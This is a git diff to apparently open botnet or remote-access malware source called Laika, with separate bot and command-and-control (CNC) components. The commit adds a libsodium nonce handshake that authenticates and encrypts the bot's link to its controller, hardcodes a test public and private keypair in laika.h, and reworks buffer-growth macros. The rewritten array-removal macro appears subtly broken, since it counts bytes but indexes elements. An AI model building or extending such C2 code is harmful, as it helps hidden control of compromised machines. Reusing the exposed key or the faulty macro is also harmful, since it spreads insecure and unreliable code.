diff --git a/bot/include/bot.h b/bot/include/bot.h
index d006aa1..2637d9a 100644
--- a/bot/include/bot.h
+++ b/bot/include/bot.h
@@ -6,10 +6,12 @@
 #include "lsocket.h"
 #include "lpeer.h"
 #include "lpolllist.h"
+#include "lrsa.h"
 
 struct sLaika_bot {
-    struct sLaika_peer *peer;
+    uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES], nonce[LAIKA_NONCESIZE];
     struct sLaika_pollList pList;
+    struct sLaika_peer *peer;
 };
 
 struct sLaika_bot *laikaB_newBot(void);
diff --git a/bot/src/bot.c b/bot/src/bot.c
index 2210060..97d025a 100644
--- a/bot/src/bot.c
+++ b/bot/src/bot.c
@@ -1,17 +1,30 @@
 #include "lmem.h"
+#include "lrsa.h"
 #include "lerror.h"
 #include "bot.h"
 
 LAIKAPKT_SIZE laikaB_pktSizeTbl[LAIKAPKT_MAXNONE] = {
-    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t)
+    [LAIKAPKT_HANDSHAKE_RES] = sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE
 };
 
 void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
+    struct sLaika_bot *bot = (struct sLaika_bot*)uData;
+
     switch (id) {
         case LAIKAPKT_HANDSHAKE_RES: {
+            uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE];
             uint8_t endianness = laikaS_readByte(&peer->sock);
-            peer->sock.flipEndian = endianness != laikaS_isBigEndian();
 
+            /* read & decrypt nonce */
+            laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
+            if (crypto_box_seal_open(nonce, encNonce, crypto_box_SEALBYTES + LAIKA_NONCESIZE, bot->pub, bot->priv) != 0)
+                LAIKA_ERROR("Failed to decrypt nonce!\n");
+
+            /* check nonce */
+            if (memcmp(nonce, bot->nonce, LAIKA_NONCESIZE) != 0)
+                LAIKA_ERROR("Mismatched nonce!\n");
+
+            peer->sock.flipEndian = endianness != laikaS_isBigEndian();
             LAIKA_DEBUG("handshake accepted by cnc!\n")
             break;
         }
@@ -22,6 +35,7 @@ void laikaB_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
 
 struct sLaika_bot *laikaB_newBot(void) {
     struct sLaika_bot *bot = laikaM_malloc(sizeof(struct sLaika_bot));
+    size_t _unused;
 
     laikaP_initPList(&bot->pList);
     bot->peer = laikaS_newPeer(
@@ -30,7 +44,26 @@ struct sLaika_bot *laikaB_newBot(void) {
         &bot->pList,
         (void*)bot
     );
+    laikaS_setKeys(bot->peer, bot->priv, bot->pub);
 
+    /* generate keypair */
+    if (sodium_init() < 0) {
+        laikaB_freeBot(bot);
+        LAIKA_ERROR("LibSodium failed to initialize!\n");
+    }
+
+    if (crypto_box_keypair(bot->pub, bot->priv) != 0) {
+        laikaB_freeBot(bot);
+        LAIKA_ERROR("Failed to gen keypair!\n");
+    }
+
+    if (sodium_hex2bin(bot->peer->peerPub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
+        laikaB_freeBot(bot);
+        LAIKA_ERROR("Failed to init cnc public key!\n");
+    }
+
+    /* gen nonce test */
+    randombytes_buf(bot->nonce, LAIKA_NONCESIZE);
     return bot;
 }
 
@@ -41,6 +74,7 @@ void laikaB_freeBot(struct sLaika_bot *bot) {
 }
 
 void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
+    uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE];
     struct sLaika_socket *sock = &bot->peer->sock;
 
     /* setup socket */
@@ -49,11 +83,17 @@ void laikaB_connectToCNC(struct sLaika_bot *bot, char *ip, char *port) {
 
     laikaP_addSock(&bot->pList, sock);
 
+    /* encrypt nonce using cnc's pubkey */
+    if (crypto_box_seal(encNonce, bot->nonce, sizeof(bot->nonce), bot->peer->peerPub) != 0)
+        LAIKA_ERROR("Failed to enc nonce!\n");
+
     /* queue handshake request */
     laikaS_writeByte(sock, LAIKAPKT_HANDSHAKE_REQ);
     laikaS_write(sock, LAIKA_MAGIC, LAIKA_MAGICLEN);
     laikaS_writeByte(sock, LAIKA_VERSION_MAJOR);
     laikaS_writeByte(sock, LAIKA_VERSION_MINOR);
+    laikaS_write(sock, encNonce, sizeof(encNonce)); /* write encrypted nonce test */
+    laikaS_write(sock, bot->pub, sizeof(bot->pub)); /* write public key */
 
     if (!laikaS_handlePeerOut(bot->peer))
         LAIKA_ERROR("failed to send handshake request!\n")
diff --git a/cnc/include/cnc.h b/cnc/include/cnc.h
index 0be8ab6..ff71f86 100644
--- a/cnc/include/cnc.h
+++ b/cnc/include/cnc.h
@@ -8,6 +8,7 @@
 #include "lpeer.h"
 
 struct sLaika_cnc {
+    uint8_t priv[crypto_box_SECRETKEYBYTES], pub[crypto_box_PUBLICKEYBYTES];
     struct sLaika_socket sock;
     struct sLaika_pollList pList;
 };
diff --git a/cnc/src/cnc.c b/cnc/src/cnc.c
index 4b66d00..c021968 100644
--- a/cnc/src/cnc.c
+++ b/cnc/src/cnc.c
@@ -1,17 +1,21 @@
 #include "lmem.h"
+#include "lrsa.h"
 #include "lsocket.h"
 #include "lerror.h"
 
 #include "cnc.h"
 
 LAIKAPKT_SIZE laikaC_pktSizeTbl[LAIKAPKT_MAXNONE] = {
-    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t)
+    [LAIKAPKT_HANDSHAKE_REQ] = LAIKA_MAGICLEN + sizeof(uint8_t) + sizeof(uint8_t) + crypto_box_SEALBYTES + LAIKA_NONCESIZE + crypto_box_PUBLICKEYBYTES
 };
 
 void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
+    struct sLaika_cnc *cnc = (struct sLaika_cnc*)uData;
+
     switch (id) {
         case LAIKAPKT_HANDSHAKE_REQ: {
             char magicBuf[LAIKA_MAGICLEN];
+            uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE], nonce[LAIKA_NONCESIZE];
             uint8_t major, minor;
 
             laikaS_read(&peer->sock, (void*)magicBuf, LAIKA_MAGICLEN);
@@ -21,11 +25,24 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
             if (memcmp(magicBuf, LAIKA_MAGIC, LAIKA_MAGICLEN) != 0
                 || major != LAIKA_VERSION_MAJOR
                 || minor != LAIKA_VERSION_MINOR)
-                LAIKA_ERROR("invalid handshake request!");
+                LAIKA_ERROR("invalid handshake request!\n");
+
+             /* read & decrypt nonce */
+            laikaS_read(&peer->sock, encNonce, sizeof(encNonce));
+            if (crypto_box_seal_open(nonce, encNonce, sizeof(encNonce), cnc->pub, cnc->priv) != 0)
+                LAIKA_ERROR("Failed to decrypt nonce!\n");
+
+            /* read peer's public key */
+            laikaS_read(&peer->sock, peer->peerPub, sizeof(peer->peerPub));
+
+            /* encrypt decrypted nonce with peer's pub key */
+            if (crypto_box_seal(encNonce, nonce, sizeof(nonce), peer->peerPub) != 0)
+                LAIKA_ERROR("Failed to enc nonce!\n");
 
             /* queue response */
             laikaS_writeByte(&peer->sock, LAIKAPKT_HANDSHAKE_RES);
             laikaS_writeByte(&peer->sock, laikaS_isBigEndian());
+            laikaS_write(&peer->sock, encNonce, sizeof(encNonce));
 
             LAIKA_DEBUG("accepted handshake from peer %x\n", peer);
             break;
@@ -35,6 +52,7 @@ void laikaC_pktHandler(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData) {
 
 struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
     struct sLaika_cnc *cnc = laikaM_malloc(sizeof(struct sLaika_cnc));
+    size_t _unused;
 
     /* init socket & pollList */
     laikaS_initSocket(&cnc->sock);
@@ -46,6 +64,21 @@ struct sLaika_cnc *laikaC_newCNC(uint16_t port) {
     /* add sock to pollList */
     laikaP_addSock(&cnc->pList, &cnc->sock);
 
+    if (sodium_init() < 0) {
+        laikaC_freeCNC(cnc);
+        LAIKA_ERROR("LibSodium failed to initialize!\n");
+    }
+
+    if (sodium_hex2bin(cnc->pub, crypto_box_PUBLICKEYBYTES, LAIKA_PUBKEY, strlen(LAIKA_PUBKEY), NULL, &_unused, NULL) != 0) {
+        laikaC_freeCNC(cnc);
+        LAIKA_ERROR("Failed to init cnc public key!\n");
+    }
+
+    if (sodium_hex2bin(cnc->priv, crypto_box_SECRETKEYBYTES, LAIKA_PRIVKEY, strlen(LAIKA_PRIVKEY), NULL, &_unused, NULL) != 0) {
+        laikaC_freeCNC(cnc);
+        LAIKA_ERROR("Failed to init cnc private key!\n");
+    }
+
     return cnc;
 }
 
@@ -82,6 +115,7 @@ bool laikaC_pollPeers(struct sLaika_cnc *cnc, int timeout) {
                 &cnc->pList,
                 (void*)cnc
             );
+            laikaS_setKeys(peer, cnc->priv, cnc->pub);
 
             /* setup and accept new peer */
             laikaS_acceptFrom(&peer->sock, &cnc->sock);
diff --git a/lib/include/laika.h b/lib/include/laika.h
index 0999d58..b82b6cb 100644
--- a/lib/include/laika.h
+++ b/lib/include/laika.h
@@ -25,4 +25,13 @@
 #define LAIKA_VERSION_MINOR 0
 #endif
 
+/* for testing!! make sure you pass your generated keypair to cmake */
+#ifndef LAIKA_PUBKEY
+#define LAIKA_PUBKEY "997d026d1c65deb6c30468525132be4ea44116d6f194c142347b67ee73d18814"
+#endif
+
+#ifndef LAIKA_PRIVKEY
+#define LAIKA_PRIVKEY "1dbd33962f1e170d1e745c6d3e19175049b5616822fac2fa3535d7477957a841"
+#endif
+
 #endif
\ No newline at end of file
diff --git a/lib/include/lmem.h b/lib/include/lmem.h
index 2e0e352..aa8fc35 100644
--- a/lib/include/lmem.h
+++ b/lib/include/lmem.h
@@ -8,15 +8,17 @@
 #define laikaM_malloc(sz) laikaM_realloc(NULL, sz)
 #define laikaM_free(buf) laikaM_realloc(buf, 0)
 
-#define laikaM_growarray(type, buf, count, capacity) \
-    if (count >= capacity || buf == NULL) { \
-        capacity *= GROW_FACTOR; \
+#define laikaM_growarray(type, buf, needed, count, capacity) \
+    if (count + needed >= capacity || buf == NULL) { \
+        capacity = (capacity + needed) * GROW_FACTOR; \
         buf = (type*)laikaM_realloc(buf, sizeof(type)*capacity); \
     }
 
 /* moves array elements above indx down by numElem, removing numElem elements at indx */ 
 #define laikaM_rmvarray(type, buf, count, indx, numElem) { \
-    memmove(&buf[indx], &buf[indx+numElem], ((count-indx)-numElem)*sizeof(type)); \
+    int _i, _sz = ((count-indx)-numElem)*sizeof(type); \
+    for (_i = 0; _i < _sz; _i++) \
+        buf[indx+_i] = buf[indx+numElem+_i]; \
     count -= numElem; \
 }
 
diff --git a/lib/include/lpacket.h b/lib/include/lpacket.h
index 9a26970..f96faab 100644
--- a/lib/include/lpacket.h
+++ b/lib/include/lpacket.h
@@ -6,9 +6,22 @@
 
 #define LAIKA_MAX_PKTSIZE 4096
 
+#define LAIKA_NONCESIZE 16
+
 enum {
     LAIKAPKT_HANDSHAKE_REQ,
+    /* layout of LAIKAPKT_HANDSHAKE_REQ:
+    *   uint8_t laikaMagic[LAIKA_MAGICLEN];
+    *   uint8_t majorVer;
+    *   uint8_t minorVer;
+    *   uint8_t encNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; -- encrypted using shared pubKey
+    *   uint8_t pubKey[crypto_box_PUBLICKEYBYTES]; -- freshly generated pubKey to encrypt decrypted nonce with
+    */
     LAIKAPKT_HANDSHAKE_RES,
+    /* layout of LAIKAPKT_HANDSHAKE_RES:
+    *   uint8_t endian;
+    *   uint8_t reEncryptedNonce[crypto_box_SEALBYTES + LAIKA_NONCESIZE]; -- encrypted using received pubKey from LAIKAPKT_AUTH_REQ pkt
+    */
     LAIKAPKT_VARPKT_REQ,
     LAIKAPKT_MAXNONE
 };
diff --git a/lib/include/lpeer.h b/lib/include/lpeer.h
index 3620d69..8d9f206 100644
--- a/lib/include/lpeer.h
+++ b/lib/include/lpeer.h
@@ -5,6 +5,7 @@
 #include "lsocket.h"
 #include "lpacket.h"
 #include "lpolllist.h"
+#include "lrsa.h"
 
 typedef enum {
     PEER_BOT,
@@ -14,6 +15,9 @@ typedef enum {
 
 struct sLaika_peer {
     struct sLaika_socket sock; /* DO NOT MOVE THIS. this member HAS TO BE FIRST so that typecasting sLaika_peer* to sLaika_sock* works as intended */
+    uint8_t *priv; /* key to decrypt incoming packets */
+    uint8_t *pub; /* pub key matching to priv */
+    uint8_t peerPub[crypto_box_PUBLICKEYBYTES]; /* key to encrypt outgoing packets */
     struct sLaika_pollList *pList; /* pollList we're active in */
     void (*pktHandler)(struct sLaika_peer *peer, uint8_t id, void *uData);
     void *uData; /* data to be passed to pktHandler */
@@ -27,6 +31,8 @@ struct sLaika_peer {
 struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer, LAIKAPKT_ID id, void *uData), LAIKAPKT_SIZE *pktSizeTable, struct sLaika_pollList *pList, void *uData);
 void laikaS_freePeer(struct sLaika_peer *peer);
 
+void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub);
+
 bool laikaS_handlePeerIn(struct sLaika_peer *peer);
 bool laikaS_handlePeerOut(struct sLaika_peer *peer);
 
diff --git a/lib/src/lpeer.c b/lib/src/lpeer.c
index f56720a..517cdaa 100644
--- a/lib/src/lpeer.c
+++ b/lib/src/lpeer.c
@@ -10,12 +10,19 @@ struct sLaika_peer *laikaS_newPeer(void (*pktHandler)(struct sLaika_peer *peer,
     peer->pktSizeTable = pktSizeTable;
     peer->pList = pList;
     peer->uData = uData;
+    peer->priv = NULL;
+    peer->pub = NULL;
     peer->pktSize = 0;
     peer->pktID = LAIKAPKT_MAXNONE;
     peer->setPollOut = false;
     return peer;
 }
 
+void laikaS_setKeys(struct sLaika_peer *peer, uint8_t *priv, uint8_t *pub) {
+    peer->priv = priv;
+    peer->pub = pub;
+}
+
 void laikaS_freePeer(struct sLaika_peer *peer) {
     laikaS_cleanSocket(&peer->sock);
     laikaM_free(peer);
diff --git a/lib/src/lpolllist.c b/lib/src/lpolllist.c
index 12333b6..fcba602 100644
--- a/lib/src/lpolllist.c
+++ b/lib/src/lpolllist.c
@@ -66,7 +66,7 @@ void laikaP_addSock(struct sLaika_pollList *pList, struct sLaika_socket *sock) {
 
 #else
     /* allocate space in array & add PollFD */
-    laikaM_growarray(PollFD, pList->fds, pList->fdCount, pList->fdCapacity);
+    laikaM_growarray(PollFD, pList->fds, 1, pList->fdCount, pList->fdCapacity);
     pList->fds[pList->fdCount++] = (PollFD){sock->sock, POLLIN};
 #endif
 }
@@ -152,7 +152,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
 
     for (i = 0; i < nEvents; i++) {
         /* add event to revent array */
-        laikaM_growarray(struct sLaika_pollEvent, pList->revents, pList->reventCount, pList->reventCapacity);
+        laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
         pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
             .sock = pList->ep_events[i].data.ptr,
             .pollIn = pList->ep_events[i].events & EPOLLIN,
@@ -173,7 +173,7 @@ struct sLaika_pollEvent *laikaP_poll(struct sLaika_pollList *pList, int timeout,
             struct sLaika_socket *sock = hashmap_get(pList->sockets, &(tLaika_hashMapElem){.fd = (SOCKET)pfd.fd});
 
             /* insert event into revents array */
-            laikaM_growarray(struct sLaika_pollEvent, pList->revents, pList->reventCount, pList->reventCapacity);
+            laikaM_growarray(struct sLaika_pollEvent, pList->revents, 1, pList->reventCount, pList->reventCapacity);
             pList->revents[pList->reventCount++] = (struct sLaika_pollEvent){
                 .sock = sock,
                 .pollIn = pfd.revents & POLLIN,
diff --git a/lib/src/lsocket.c b/lib/src/lsocket.c
index 5e7095d..f612086 100644
--- a/lib/src/lsocket.c
+++ b/lib/src/lsocket.c
@@ -177,7 +177,7 @@ void laikaS_read(struct sLaika_socket *sock, void *buf, size_t sz) {
 
 void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
     /* make sure we have enough space to copy the buffer */
-    laikaM_growarray(uint8_t, sock->outBuf, sock->outCount + sz, sock->outCap);\
+    laikaM_growarray(uint8_t, sock->outBuf, sz, sock->outCount, sock->outCap);\
 
     /* copy the buffer, then increment outCount */
     memcpy(&sock->outBuf[sock->outCount], buf, sz);
@@ -185,7 +185,7 @@ void laikaS_write(struct sLaika_socket *sock, void *buf, size_t sz) {
 }
 
 void laikaS_writeByte(struct sLaika_socket *sock, uint8_t data) {
-    laikaM_growarray(uint8_t, sock->outBuf, sock->outCount, sock->outCap);
+    laikaM_growarray(uint8_t, sock->outBuf, 1, sock->outCount, sock->outCap);
     sock->outBuf[sock->outCount++] = data;
 }
 
@@ -234,7 +234,7 @@ RAWSOCKCODE laikaS_rawRecv(struct sLaika_socket *sock, size_t sz, int *processed
     int rcvd, start = sock->inCount;
 
     /* make sure we have enough space to recv */
-    laikaM_growarray(uint8_t, sock->inBuf, sock->inCount + sz, sock->inCap);
+    laikaM_growarray(uint8_t, sock->inBuf, sz, sock->inCount, sock->inCap);
     rcvd = recv(sock->sock, (buffer_t*)&sock->inBuf[sock->inCount], sz, LN_MSG_NOSIGNAL);
 
     if (rcvd == 0) {